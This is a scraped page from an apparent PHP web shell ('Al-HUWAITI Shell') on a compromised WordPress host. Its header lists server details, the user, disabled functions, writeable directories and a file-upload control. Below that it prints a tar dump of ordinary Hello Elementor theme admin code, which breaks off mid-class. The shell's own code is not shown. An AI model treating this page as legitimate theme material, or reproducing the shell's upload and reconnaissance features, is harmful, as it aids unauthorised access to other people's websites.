hello 404 Not Found
Al-HUWAITI Shell
Al-huwaiti


Server : Apache
System : Linux webm006.cluster103.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : chryzalihi ( 621211)
PHP Version : 8.3.31
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/chryzalihi/www/wp-content/languages/themes/the/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/chryzalihi/www/wp-content/languages/themes/the/admin-home.tar
module.php000064400000001226152425671150006553 0ustar00<?php

namespace HelloTheme\Modules\AdminHome;

use HelloTheme\Includes\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

/**
 * class Module
 *
 * @package HelloPlus
 * @subpackage HelloPlusModules
 */
class Module extends Module_Base {
	/**
	 * @inheritDoc
	 */
	public static function get_name(): string {
		return 'admin-home';
	}

	/**
	 * @inheritDoc
	 */
	protected function get_component_ids(): array {
		return [
			'Admin_Menu_Controller',
			'Scripts_Controller',
			'Api_Controller',
			'Ajax_Handler',
			'Conversion_Banner',
			'Admin_Top_Bar',
			'Settings_Controller',
			'Notificator',
			'Finder',
		];
	}
}
rest/rest-base.php000064400000001005152425671150010123 0ustar00<?php

namespace HelloTheme\Modules\AdminHome\Rest;

use HelloTheme\Modules\AdminHome\Module;
use WP_REST_Server;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

abstract class Rest_Base {
	const ROUTE_NAMESPACE = 'elementor-hello-elementor/v1';

	abstract public function register_routes();

	public function permission_callback(): bool {
		return current_user_can( 'manage_options' );
	}

	public function __construct() {
		add_action( 'rest_api_init', [ $this, 'register_routes' ] );
	}
}
rest/theme-settings.php000064400000003123152425671150011201 0ustar00<?php

namespace HelloTheme\Modules\AdminHome\Rest;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

use HelloTheme\Modules\AdminHome\Components\Settings_Controller;
use WP_REST_Server;

class Theme_Settings extends Rest_Base {

	public function register_routes() {
		register_rest_route(
			self::ROUTE_NAMESPACE,
			'/theme-settings',
			[
				'methods'             => WP_REST_Server::READABLE,
				'callback'            => [ $this, 'get_theme_settings' ],
				'permission_callback' => [ $this, 'permission_callback' ],
			]
		);

		register_rest_route(
			self::ROUTE_NAMESPACE,
			'/theme-settings',
			[
				'methods'             => WP_REST_Server::EDITABLE,
				'callback'            => [ $this, 'set_theme_settings' ],
				'permission_callback' => [ $this, 'permission_callback' ],
			]
		);
	}

	public function get_theme_settings() {
		return rest_ensure_response(
			[
				'settings' => Settings_Controller::get_settings(),
			]
		);
	}

	public function set_theme_settings( \WP_REST_Request $request ) {
		$settings = $request->get_param( 'settings' );

		if ( ! is_array( $settings ) ) {
			return new \WP_Error(
				'invalid_settings',
				esc_html__( 'Settings must be an array', 'hello-elementor' ),
				[ 'status' => 400 ]
			);
		}

		$settings_map = Settings_Controller::get_settings_mapping();

		foreach ( $settings as $key => $value ) {
			if ( ! array_key_exists( $key, $settings_map ) ) {
				continue;
			}

			$value = $value ? 'true' : 'false';

			update_option( $settings_map[ $key ], $value );
		}

		return rest_ensure_response( [ 'settings' => $settings ] );
	}
}
rest/promotions.php000064400000007245152425671150010463 0ustar00<?php

namespace HelloTheme\Modules\AdminHome\Rest;

use HelloTheme\Includes\Utils;
use WP_REST_Server;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

class Promotions extends Rest_Base {

	public function get_promotions() {
		$action_links_data = [];

		if ( ! defined( 'ELEMENTOR_PRO_VERSION' ) && Utils::is_elementor_active() ) {
			$action_links_data[] = [
				'type' => 'go-pro',
				'image' => HELLO_THEME_IMAGES_URL . 'go-pro.svg',
				'url' => 'https://go.elementor.com/hello-upgrade-epro/',
				'alt' => __( 'Elementor Pro', 'hello-elementor' ),
				'title' => __( 'Bring your vision to life', 'hello-elementor' ),
				'messages' => [
					__( 'Get complete design flexibility for your website with Elementor Pro’s advanced tools and premium features.', 'hello-elementor' ),
				],
				'button' => __( 'Upgrade Now', 'hello-elementor' ),
				'upgrade' => true,
				'features' => [
					__( 'Popup Builder', 'hello-elementor' ),
					__( 'Custom Code & CSS', 'hello-elementor' ),
					__( 'E-commerce Features', 'hello-elementor' ),
					__( 'Collaborative Notes', 'hello-elementor' ),
					__( 'Form Submission', 'hello-elementor' ),
					__( 'Form Integrations', 'hello-elementor' ),
					__( 'Customs Attribute', 'hello-elementor' ),
					__( 'Role Manager', 'hello-elementor' ),
				],
			];
		}

		if (
			! defined( 'ELEMENTOR_IMAGE_OPTIMIZER_VERSION' ) &&
			! defined( 'IMAGE_OPTIMIZATION_VERSION' )
		) {
			$action_links_data[] = [
				'type' => 'go-image-optimizer',
				'image' => HELLO_THEME_IMAGES_URL . 'image-optimizer.svg',
				'url' => Utils::get_plugin_install_url( 'image-optimization' ),
				'alt' => __( 'Elementor Image Optimizer', 'hello-elementor' ),
				'title' => '',
				'messages' => [
					__( 'Optimize Images.', 'hello-elementor' ),
					__( 'Reduce Size.', 'hello-elementor' ),
					__( 'Improve Speed.', 'hello-elementor' ),
					__( 'Try Image Optimizer for free', 'hello-elementor' ),
				],
				'button' => __( 'Install', 'hello-elementor' ),
				'width' => 72,
				'height' => 'auto',
				'target' => '_self',
				'backgroundImage' => HELLO_THEME_IMAGES_URL . 'image-optimization-bg.svg',
			];
		}

		if ( ! defined( 'SEND_VERSION' ) ) {
			$action_links_data[] = [
				'type' => 'go-send',
				'image' => HELLO_THEME_IMAGES_URL . 'send-logo.gif',
				'backgroundColor' => '#EFEFFF',
				'url' => Utils::get_plugin_install_url( 'send-app' ),
				'alt' => __( 'Send', 'hello-elementor' ),
				'title' => '',
				'target' => '_self',
				'messages' => [
					__( 'Connect any website to automated Email & SMS workflows in a click with Send.', 'hello-elementor' ),
				],
				'button' => __( 'Install', 'hello-elementor' ),
				'buttonBgColor' => '#524CFF',
				'width' => 72,
				'height' => 'auto',
			];
		} elseif (
			! defined( 'ELEMENTOR_AI_VERSION' ) &&
			Utils::is_elementor_installed()
		) {
			$action_links_data[] = [
				'type' => 'go-ai',
				'image' => HELLO_THEME_IMAGES_URL . 'ai.png',
				'url' => 'https://go.elementor.com/hello-site-planner',
				'alt' => __( 'Elementor AI', 'hello-elementor' ),
				'title' => __( 'Elementor AI', 'hello-elementor' ),
				'messages' => [
					__( 'Boost creativity with Elementor AI. Craft & enhance copy, create custom CSS & Code, and generate images to elevate your website.', 'hello-elementor' ),
				],
				'button' => __( 'Let\'s Go', 'hello-elementor' ),
			];
		}

		return rest_ensure_response( [ 'links' => $action_links_data ] );
	}

	public function register_routes() {
		register_rest_route(
			self::ROUTE_NAMESPACE,
			'/promotions',
			[
				'methods' => WP_REST_Server::READABLE,
				'callback' => [ $this, 'get_promotions' ],
				'permission_callback' => [ $this, 'permission_callback' ],
			]
		);
	}
}
rest/admin-config.php000064400000026437152425671150010611 0ustar00<?php

namespace HelloTheme\Modules\AdminHome\Rest;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

use Elementor\Core\DocumentTypes\Page;
use HelloTheme\Includes\Utils;
use WP_REST_Server;

class Admin_Config extends Rest_Base {

	public function register_routes() {
		register_rest_route(
			self::ROUTE_NAMESPACE,
			'/admin-settings',
			[
				'methods'             => WP_REST_Server::READABLE,
				'callback'            => [ $this, 'get_admin_config' ],
				'permission_callback' => [ $this, 'permission_callback' ],
			]
		);
	}

	public function get_admin_config() {
		$elementor_page_id = Utils::is_elementor_active() ? $this->ensure_elementor_page_exists() : null;

		$config = $this->get_welcome_box_config( [] );

		$config = $this->get_site_parts( $config, $elementor_page_id );

		$config = $this->get_resources( $config );

		$config = apply_filters( 'hello-plus-theme/rest/admin-config', $config );

		$config['config'] = [
			'nonceInstall' => wp_create_nonce( 'updates' ),
			'slug'         => 'elementor',
		];

		return rest_ensure_response( [ 'config' => $config ] );
	}

	private function ensure_elementor_page_exists(): int {
		$existing_page = \Elementor\Core\DocumentTypes\Page::get_elementor_page();

		if ( $existing_page ) {
			return $existing_page->ID;
		}

		$page_data = [
			'post_title'    => 'Hello Theme page',
			'post_content'  => '',
			'post_status'   => 'draft',
			'post_type'     => 'page',
			'meta_input'    => [
				'_elementor_edit_mode' => 'builder',
				'_elementor_template_type' => 'wp-page',
			],
		];

		$page_id = wp_insert_post( $page_data );

		if ( is_wp_error( $page_id ) ) {
			throw new \RuntimeException( 'Failed to create Elementor page: ' . esc_html( $page_id->get_error_message() ) );
		}

		if ( ! $page_id ) {
			throw new \RuntimeException( 'Page creation returned invalid ID' );
		}

		wp_update_post([
			'ID' => $page_id,
			'post_title' => 'Hello Theme #' . $page_id,
		]);
		return $page_id;
	}

	private function get_elementor_editor_url( ?int $page_id, string $active_tab ): string {
		$active_kit_id = Utils::elementor()->kits_manager->get_active_id();

		$url = add_query_arg(
			[
				'post' => $page_id,
				'action' => 'elementor',
				'active-tab' => $active_tab,
			],
			admin_url( 'post.php' )
		);

		return $url . '#e:run:panel/global/open';
	}

	public function get_resources( array $config ) {
		$config['resourcesData'] = [
			'community' => [
				[
					'title'  => __( 'Facebook', 'hello-elementor' ),
					'link'   => 'https://www.facebook.com/groups/Elementors/',
					'icon'   => 'BrandFacebookIcon',
					'target' => '_blank',
				],
				[
					'title'  => __( 'YouTube', 'hello-elementor' ),
					'link'   => 'https://www.youtube.com/@Elementor',
					'icon'   => 'BrandYoutubeIcon',
					'target' => '_blank',
				],
				[
					'title'  => __( 'Discord', 'hello-elementor' ),
					'link'   => 'https://discord.com/servers/elementor-official-community-1164474724626206720',
					'target' => '_blank',
				],
				[
					'title'  => __( 'Rate Us', 'hello-elementor' ),
					'link'   => 'https://wordpress.org/support/theme/hello-elementor/reviews/#new-post',
					'icon'   => 'StarIcon',
					'target' => '_blank',
				],
			],
			'resources' => [
				[
					'title'  => __( 'Help Center', 'hello-elementor' ),
					'link'   => ' https://go.elementor.com/hello-help/',
					'icon'   => 'HelpIcon',
					'target' => '_blank',
				],
				[
					'title'  => __( 'Blog', 'hello-elementor' ),
					'link'   => 'https://go.elementor.com/hello-blog/',
					'icon'   => 'SpeakerphoneIcon',
					'target' => '_blank',
				],
				[
					'title'  => __( 'Platinum Support', 'hello-elementor' ),
					'link'   => 'https://go.elementor.com/platinum-support',
					'icon'   => 'BrandElementorIcon',
					'target' => '_blank',
				],
			],
		];

		return $config;
	}

	public function get_site_parts( array $config, ?int $elementor_page_id = null ): array {
		$last_five_pages_query = new \WP_Query(
			[
				'posts_per_page'         => 5,
				'post_type'              => 'page',
				'post_status'            => 'publish',
				'orderby'                => 'post_date',
				'order'                  => 'DESC',
				'fields'                 => 'ids',
				'no_found_rows'          => true,
				'lazy_load_term_meta'    => true,
				'update_post_meta_cache' => false,
			]
		);

		$site_pages = [];

		if ( $last_five_pages_query->have_posts() ) {
			$elementor_active    = Utils::is_elementor_active();
			$edit_with_elementor = $elementor_active ? '&action=elementor' : '';
			while ( $last_five_pages_query->have_posts() ) {
				$last_five_pages_query->the_post();
				$site_pages[] = [
					'title' => get_the_title(),
					'link'  => get_edit_post_link( get_the_ID(), 'admin' ) . $edit_with_elementor,
					'icon'  => 'PagesIcon',
				];
			}
		}

		$general = [
			[
				'title' => __( 'Add New Page', 'hello-elementor' ),
				'link'  => self_admin_url( 'post-new.php?post_type=page' ),
				'icon'  => 'PageTypeIcon',
			],
			[
				'title' => __( 'Settings', 'hello-elementor' ),
				'link'  => self_admin_url( 'admin.php?page=hello-elementor-settings' ),
			],
		];

		$common_parts = [];

		$customizer_header_footer_url = $this->get_open_homepage_with_tab( $elementor_page_id, '', null, [ 'autofocus[section]' => 'hello-options' ] );

		$header_part  = [
			'id'      => 'header',
			'title'   => __( 'Header', 'hello-elementor' ),
			'link'    => $customizer_header_footer_url,
			'icon'    => 'HeaderTemplateIcon',
			'sublinks' => [],
		];
		$footer_part  = [
			'id'      => 'footer',
			'title'   => __( 'Footer', 'hello-elementor' ),
			'link'    => $customizer_header_footer_url,
			'icon'    => 'FooterTemplateIcon',
			'sublinks' => [],
		];

		if ( Utils::is_elementor_active() ) {
			$common_parts = [
				[
					'title' => __( 'Theme Builder', 'hello-elementor' ),
					'link'  => Utils::get_theme_builder_url(),
					'icon'  => 'ThemeBuilderIcon',
				],
			];
			$header_part['link'] = $this->get_open_homepage_with_tab( $elementor_page_id, 'hello-settings-header' );
			$footer_part['link'] = $this->get_open_homepage_with_tab( $elementor_page_id, 'hello-settings-footer' );

			if ( Utils::has_pro() ) {
				$header_part = $this->update_pro_part( $header_part, 'header' );
				$footer_part = $this->update_pro_part( $footer_part, 'footer' );
			}
		}

		$site_parts = [
			'siteParts' => array_merge(
				[
					$header_part,
					$footer_part,
				],
				$common_parts
			),
			'sitePages' => $site_pages,
			'general'   => $general,
		];

		$config['siteParts'] = apply_filters( 'hello-plus-theme/template-parts', $site_parts );

		return $this->get_quicklinks( $config, $elementor_page_id );
	}

	private function update_pro_part( array $part, string $location ): array {
		$theme_builder_module = \ElementorPro\Modules\ThemeBuilder\Module::instance();
		$conditions_manager   = $theme_builder_module->get_conditions_manager();

		$documents = $conditions_manager->get_documents_for_location( $location );
		if ( ! empty( $documents ) ) {
			$first_document_id  = array_key_first( $documents );
			$edit_link = get_edit_post_link( $first_document_id, 'admin' ) . '&action=elementor';

		} else {
			$edit_link = $this->get_open_homepage_with_tab( null, 'hello-settings-' . $location );
		}
		$part['sublinks'] = [
			[
				'title' => __( 'Edit', 'hello-elementor' ),
				'link'  => $edit_link,
			],
			[
				'title' => __( 'Add New', 'hello-elementor' ),
				'link'  => \Elementor\Plugin::instance()->app->get_base_url() . '#/site-editor/templates/' . $location,
			],
		];

		return $part;
	}

	public function get_open_homepage_with_tab( ?int $page_id, $action, $section = null, $customizer_fallback_args = [] ): string {
		if ( Utils::is_elementor_active() ) {
			$url = $page_id ? $this->get_elementor_editor_url( $page_id, $action ) : Page::get_site_settings_url_config( $action )['url'];

			if ( $section ) {
				$url = add_query_arg( 'active-section', $section, $url );
			}

			return $url;
		}

		return add_query_arg( $customizer_fallback_args, self_admin_url( 'customize.php' ) );
	}

	public function get_quicklinks( $config, ?int $elementor_page_id = null ): array {
		$config['quickLinks'] = [
			'site_name'    => [
				'title' => __( 'Site Name', 'hello-elementor' ),
				'link'  => $this->get_open_homepage_with_tab( $elementor_page_id, 'settings-site-identity', null, [ 'autofocus[section]' => 'title_tagline' ] ),
				'icon'  => 'TextIcon',

			],
			'site_logo'    => [
				'title' => __( 'Site Logo', 'hello-elementor' ),
				'link'  => $this->get_open_homepage_with_tab( $elementor_page_id, 'settings-site-identity', null, [ 'autofocus[section]' => 'title_tagline' ] ),
				'icon'  => 'PhotoIcon',
			],
			'site_favicon' => [
				'title' => __( 'Site Favicon', 'hello-elementor' ),
				'link'  => $this->get_open_homepage_with_tab( $elementor_page_id, 'settings-site-identity', null, [ 'autofocus[section]' => 'title_tagline' ] ),
				'icon'  => 'AppsIcon',
			],
		];

		if ( Utils::is_elementor_active() ) {
			$config['quickLinks']['site_colors'] = [
				'title' => __( 'Site Colors', 'hello-elementor' ),
				'link'  => $this->get_open_homepage_with_tab( $elementor_page_id, 'global-colors' ),
				'icon'  => 'BrushIcon',
			];

			$config['quickLinks']['site_fonts'] = [
				'title' => __( 'Site Fonts', 'hello-elementor' ),
				'link'  => $this->get_open_homepage_with_tab( $elementor_page_id, 'global-typography' ),
				'icon'  => 'UnderlineIcon',
			];
		}

		return $config;
	}

	public function get_welcome_box_config( array $config ): array {
		$is_elementor_installed = Utils::is_elementor_installed();
		$is_elementor_active    = Utils::is_elementor_active();
		$has_pro                = Utils::has_pro();

		if ( ! $is_elementor_active ) {
			$link = $is_elementor_installed ? Utils::get_elementor_activation_link() : 'install';

			$action_link_type = Utils::get_action_link_type();

			if ( 'activate-elementor' === $action_link_type ) {
				$cta_text = __( 'Activate Elementor', 'hello-elementor' );
			} else {
				$cta_text = __( 'Install Elementor', 'hello-elementor' );
			}

			$config['welcome'] = [
				'title'   => __( 'Thanks for installing the Hello Theme!', 'hello-elementor' ),
				'text'    => __( 'Welcome to Hello Theme—a lightweight, blank canvas designed to integrate seamlessly with Elementor, the most popular, no-code visual website builder. By installing and activating Elementor, you\'ll unlock the power to craft a professional website with advanced features and functionalities.', 'hello-elementor' ),
				'buttons' => [
					[
						'linkText' => $cta_text,
						'variant'  => 'contained',
						'link'     => $link,
						'color'    => 'primary',
					],
				],
				'image'   => [
					'src' => HELLO_THEME_IMAGES_URL . 'install-elementor.png',
					'alt' => $cta_text,
				],
			];

			return $config;
		}

		if ( $is_elementor_active && ! $has_pro ) {
			$config['welcome'] = [
				'title'   => __( 'Go Pro, Go Limitless', 'hello-elementor' ),
				'text'    => __( 'Unlock the theme builder, popup builder, 100+ widgets and more advanced tools to take your website to the next level.', 'hello-elementor' ),
				'buttons' => [
					[
						'linkText' => __( 'Upgrade now', 'hello-elementor' ),
						'variant'  => 'contained',
						'link'     => 'https://go.elementor.com/hello-upgrade-epro/',
						'color'    => 'primary',
						'target'   => '_blank',
					],
				],
			];

			return $config;
		}

		$config['welcome'] = [];

		return $config;
	}
}
rest/whats-new.php000064400000001216152425671150010157 0ustar00<?php

namespace HelloTheme\Modules\AdminHome\Rest;

use HelloTheme\Modules\AdminHome\Module;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

class Whats_New extends Rest_Base {

	public function get_notifications() {
		$notificator = Module::instance()->get_component( 'Notificator' );
		return $notificator->get_notifications_by_conditions();
	}

	public function register_routes() {
		register_rest_route(
			self::ROUTE_NAMESPACE,
			'/whats-new',
			[
				'methods' => \WP_REST_Server::READABLE,
				'callback' => [ $this, 'get_notifications' ],
				'permission_callback' => [ $this, 'permission_callback' ],
			]
		);
	}
}
components/finder.php000064400000001331152425671150010717 0ustar00<?php

namespace HelloTheme\Modules\AdminHome\Components;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class Finder {

	public function add_hello_theme_finder_entry( $categories_data ) {
		if ( isset( $categories_data['site'] ) && isset( $categories_data['site']['items'] ) ) {
			$categories_data['site']['items']['hello-elementor-home'] = [
				'title' => esc_html__( 'Hello Theme Home', 'hello-elementor' ),
				'icon' => 'paint-brush',
				'url' => admin_url( 'admin.php?page=hello-elementor' ),
				'keywords' => [ 'theme', 'hello', 'home', 'plus', '+' ],
			];
		}

		return $categories_data;
	}

	public function __construct() {
		add_filter( 'elementor/finder/categories', [ $this, 'add_hello_theme_finder_entry' ] );
	}
}
components/ajax-handler.php000064400000000527152425671150012014 0ustar00<?php

namespace HelloTheme\Modules\AdminHome\Components;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

class Ajax_Handler {

	public function __construct() {
		add_action( 'wp_ajax_ehe_install_elementor', [ $this, 'install_elementor' ] );
	}

	public function install_elementor() {
		wp_ajax_install_plugin();
	}
}
components/admin-top-bar.php000064400000002065152425671150012107 0ustar00<?php

namespace HelloTheme\Modules\AdminHome\Components;

use HelloTheme\Includes\Script;
use HelloTheme\Includes\Utils;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

class Admin_Top_Bar {

	private function render_admin_top_bar() {
		?>
		<div id="ehe-admin-top-bar-root" style="height: 50px">
		</div>
		<?php
	}

	private function is_top_bar_active() {
		$current_screen = get_current_screen();

		return ( false !== strpos( $current_screen->id ?? '', EHP_THEME_SLUG ) );
	}

	private function enqueue_scripts() {
		$script = new Script(
			'hello-elementor-topbar',
		);

		$script->enqueue();
	}

	public function __construct() {
		if ( ! is_admin() ) {
			return;
		}

		add_action( 'current_screen', function () {
			if ( ! $this->is_top_bar_active() ) {
				return;
			}

			add_action( 'in_admin_header', function () {
				$this->render_admin_top_bar();
			} );

			add_action( 'admin_enqueue_scripts', function () {
				$this->enqueue_scripts();
			} );

			add_action( 'elementor/admin-top-bar/is-active', '__return_false' );
		} );
	}
}
components/api-controller.php000064400000001212152425671150012400 0ustar00<?php

namespace HelloTheme\Modules\AdminHome\Components;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

use HelloTheme\Modules\AdminHome\Rest\Admin_Config;
use HelloTheme\Modules\AdminHome\Rest\Promotions;
use HelloTheme\Modules\AdminHome\Rest\Theme_Settings;
use HelloTheme\Modules\AdminHome\Rest\Whats_New;

class Api_Controller {

	protected $endpoints = [];

	public function __construct() {
		$this->endpoints['promotions'] = new Promotions();
		$this->endpoints['admin-config'] = new Admin_Config();
		$this->endpoints['theme-settings'] = new Theme_Settings();
		$this->endpoints['whats-new'] = new Whats_New();
	}
}
components/conversion-banner.php000064400000013117152425671150013105 0ustar00<?php

namespace HelloTheme\Modules\AdminHome\Components;

use HelloTheme\Includes\Script;
use HelloTheme\Includes\Utils;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

class Conversion_Banner {

	const DEFAULT_SELECTOR = '.wrap h1, .wrap h2';
	const SCRIPT_HANDLE = 'hello-conversion-banner';
	const NONCE_ACTION = 'ehe_cb_nonce';
	const OBJECT_NAME = 'ehe_cb';
	const USER_META_KEY = '_hello_elementor_install_notice';
	const AJAX_ACTION = 'ehe_dismiss_theme_notice';

	private function render_conversion_banner() {
		?>
		<div id="ehe-admin-cb" style="width: calc(100% - 48px)">
		</div>
		<?php
	}

	private function get_allowed_admin_pages(): array {
		return [
			'dashboard' => [ 'selector' => '#wpbody #wpbody-content .wrap h1' ],
			'update-core' => [ 'selector' => self::DEFAULT_SELECTOR ],
			'edit-post' => [ 'selector' => self::DEFAULT_SELECTOR ],
			'edit-category' => [ 'selector' => self::DEFAULT_SELECTOR ],
			'edit-post_tag' => [ 'selector' => self::DEFAULT_SELECTOR ],
			'upload' => [ 'selector' => self::DEFAULT_SELECTOR ],
			'media' => [ 'selector' => self::DEFAULT_SELECTOR ],
			'edit-page' => [ 'selector' => self::DEFAULT_SELECTOR ],
			'elementor_page_elementor-settings' => [ 'selector' => self::DEFAULT_SELECTOR ],
			'edit-elementor_library' => [
				'selector' => self::DEFAULT_SELECTOR,
				'before' => true,
			],
			'elementor_page_elementor-tools' => [
				'selector' => self::DEFAULT_SELECTOR,
			],
			'elementor_page_elementor-role-manager' => [
				'selector' => self::DEFAULT_SELECTOR,
			],
			'elementor_page_elementor-element-manager' => [
				'selector' => '.wrap h1, .wrap h3.wp-heading-inline',
			],
			'elementor_page_elementor-system-info' => [
				'selector' => '#wpbody #wpbody-content #elementor-system-info .elementor-system-info-header',
				'before' => true,
			],
			'elementor_library_page_e-floating-buttons' => [
				'selector' => '#wpbody-content .e-landing-pages-empty, .wrap h2',
				'before' => true,
			],
			'edit-e-floating-buttons' => [
				'selector' => self::DEFAULT_SELECTOR,
			],
			'edit-elementor_library_category' => [
				'selector' => self::DEFAULT_SELECTOR,
			],
			'themes' => [
				'selector' => self::DEFAULT_SELECTOR,
			],
			'nav-menus' => [
				'selector' => self::DEFAULT_SELECTOR,
			],
			'theme-editor' => [
				'selector' => self::DEFAULT_SELECTOR,
			],
			'plugins' => [
				'selector' => self::DEFAULT_SELECTOR,
			],
			'plugin-install' => [
				'selector' => self::DEFAULT_SELECTOR,
			],
			'plugin-editor' => [
				'selector' => self::DEFAULT_SELECTOR,
			],
			'users' => [
				'selector' => self::DEFAULT_SELECTOR,
			],
			'user' => [
				'selector' => self::DEFAULT_SELECTOR,
			],
			'profile' => [
				'selector' => self::DEFAULT_SELECTOR,
			],
			'tools' => [
				'selector' => self::DEFAULT_SELECTOR,
			],
			'import' => [
				'selector' => self::DEFAULT_SELECTOR,
			],
			'export' => [
				'selector' => self::DEFAULT_SELECTOR,
			],
			'site-health' => [
				'selector' => self::DEFAULT_SELECTOR,
			],
			'export-personal-data' => [
				'selector' => self::DEFAULT_SELECTOR,
			],
			'erase-personal-data' => [
				'selector' => self::DEFAULT_SELECTOR,
			],
			'options-general' => [
				'selector' => self::DEFAULT_SELECTOR,
			],
			'options-writing' => [
				'selector' => self::DEFAULT_SELECTOR,
			],
			'options-reading' => [
				'selector' => self::DEFAULT_SELECTOR,
			],
			'options-discussion' => [
				'selector' => self::DEFAULT_SELECTOR,
			],
			'options-media' => [
				'selector' => self::DEFAULT_SELECTOR,
			],
			'options-permalink' => [
				'selector' => self::DEFAULT_SELECTOR,
			],
			'options-privacy' => [
				'selector' => self::DEFAULT_SELECTOR,
			],
			'privacy-policy-guide' => [
				'selector' => self::DEFAULT_SELECTOR,
			],
		];
	}

	private function is_allowed_admin_page(): array {
		$current_screen = get_current_screen();

		if ( ! $current_screen ) {
			return [];
		}

		$allowed_pages = $this->get_allowed_admin_pages();
		$current_page = $current_screen->id;

		return $allowed_pages[ $current_page ] ?? [];
	}

	private function is_conversion_banner_active(): array {
		if ( get_user_meta( get_current_user_id(), self::USER_META_KEY, true ) ) {
			return [];
		}

		if ( Utils::has_pro() && Utils::is_elementor_active() ) {
			return [];
		}

		return $this->is_allowed_admin_page();
	}

	private function enqueue_scripts( array $conversion_banner_active ) {
		$script = new Script(
			self::SCRIPT_HANDLE,
			[ 'wp-util' ]
		);

		$script->enqueue();

		$is_installing_plugin_with_uploader = 'upload-plugin' === filter_input( INPUT_GET, 'action', FILTER_UNSAFE_RAW );

		wp_localize_script(
			self::SCRIPT_HANDLE,
			self::OBJECT_NAME,
			[
				'nonce' => wp_create_nonce( self::NONCE_ACTION ),
				'beforeWrap' => $is_installing_plugin_with_uploader,
				'data' => $conversion_banner_active,
			]
		);
	}

	public function dismiss_theme_notice() {
		check_ajax_referer( self::NONCE_ACTION, 'nonce' );

		update_user_meta( get_current_user_id(), self::USER_META_KEY, true );

		wp_send_json_success( [ 'message' => __( 'Notice dismissed.', 'hello-elementor' ) ] );
	}

	public function __construct() {

		add_action( 'wp_ajax_' . self::AJAX_ACTION, [ $this, 'dismiss_theme_notice' ] );

		add_action( 'current_screen', function () {
			$conversion_banner_active = $this->is_conversion_banner_active();
			if ( ! $conversion_banner_active ) {
				return;
			}

			add_action( 'in_admin_header', function () {
				$this->render_conversion_banner();
			}, 11 );

			add_action( 'admin_enqueue_scripts', function () use ( $conversion_banner_active ) {
				$this->enqueue_scripts( $conversion_banner_active );
			} );
		} );
	}
}
components/settings-controller.php000064400000007626152425671150013506 0ustar00<?php

namespace HelloTheme\Modules\AdminHome\Components;

use HelloTheme\Includes\Script;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

class Settings_Controller {

	const SETTINGS_FILTER_NAME = 'hello-plus-theme/settings';
	const SETTINGS_PAGE_SLUG = 'hello-elementor-settings';
	const SETTING_PREFIX = 'hello_elementor_settings';
	const SETTINGS = [
		'DESCRIPTION_META_TAG' => '_description_meta_tag',
		'SKIP_LINK'            => '_skip_link',
		'HEADER_FOOTER'        => '_header_footer',
		'PAGE_TITLE'           => '_page_title',
		'HELLO_STYLE'          => '_hello_style',
		'HELLO_THEME'          => '_hello_theme',
	];

	public static function get_settings_mapping(): array {
		return array_map(
			function ( $key ) {
				return self::SETTING_PREFIX . $key;
			},
			self::SETTINGS
		);
	}

	public static function get_settings(): array {

		$settings = array_map( function ( $key ) {
			return self::get_option( $key ) === 'true';
		}, self::get_settings_mapping() );

		return apply_filters( self::SETTINGS_FILTER_NAME, $settings );
	}

	protected static function get_option( string $option_name, $default_value = false ) {
		$option = get_option( $option_name, $default_value );

		return apply_filters( self::SETTINGS_FILTER_NAME . '/' . $option_name, $option );
	}

	public function legacy_register_settings() {
		$this->register_settings();
		$this->apply_settings();
	}

	public function apply_setting( $setting, $tweak_callback ) {
		$option = get_option( $setting );

		if ( isset( $option ) && ( 'true' === $option ) && is_callable( $tweak_callback ) ) {
			$tweak_callback();
		}

	}

	public function apply_settings( $settings_group = self::SETTING_PREFIX, $settings = self::SETTINGS ) {

		$this->apply_setting(
			$settings_group . $settings['DESCRIPTION_META_TAG'],
			function () {
				remove_action( 'wp_head', 'hello_elementor_add_description_meta_tag' );
			}
		);

		$this->apply_setting(
			$settings_group . $settings['SKIP_LINK'],
			function () {
				add_filter( 'hello_elementor_enable_skip_link', '__return_false' );
			}
		);

		$this->apply_setting(
			$settings_group . $settings['HEADER_FOOTER'],
			function () {
				add_filter( 'hello_elementor_header_footer', '__return_false' );
			}
		);

		$this->apply_setting(
			$settings_group . $settings['PAGE_TITLE'],
			function () {
				add_filter( 'hello_elementor_page_title', '__return_false' );
			}
		);

		$this->apply_setting(
			$settings_group . $settings['HELLO_STYLE'],
			function () {
				add_filter( 'hello_elementor_enqueue_style', '__return_false' );
			}
		);

		$this->apply_setting(
			$settings_group . $settings['HELLO_THEME'],
			function () {
				add_filter( 'hello_elementor_enqueue_theme_style', '__return_false' );
			}
		);
	}

	public function register_settings( $settings_group = self::SETTING_PREFIX, $settings = self::SETTINGS ) {
		foreach ( $settings as $setting_value ) {
			register_setting(
				$settings_group,
				$settings_group . $setting_value,
				[
					'default' => '',
					'show_in_rest' => true,
					'type' => 'string',
				]
			);
		}
	}

	public function enqueue_hello_plus_settings_scripts() {
		$screen = get_current_screen();

		if ( ! str_ends_with( $screen->id, '_page_' . self::SETTINGS_PAGE_SLUG ) ) {
			return;
		}

		$script = new Script(
			'hello-elementor-settings',
			[ 'wp-util' ]
		);

		$script->enqueue();
	}

	public function register_settings_page( $parent_slug ): void {
		add_submenu_page(
			$parent_slug,
			__( 'Settings', 'hello-elementor' ),
			__( 'Settings', 'hello-elementor' ),
			'manage_options',
			self::SETTINGS_PAGE_SLUG,
			[ $this, 'render_settings_page' ]
		);
	}

	public function render_settings_page(): void {
		echo '<div id="ehe-admin-settings"></div>';
	}

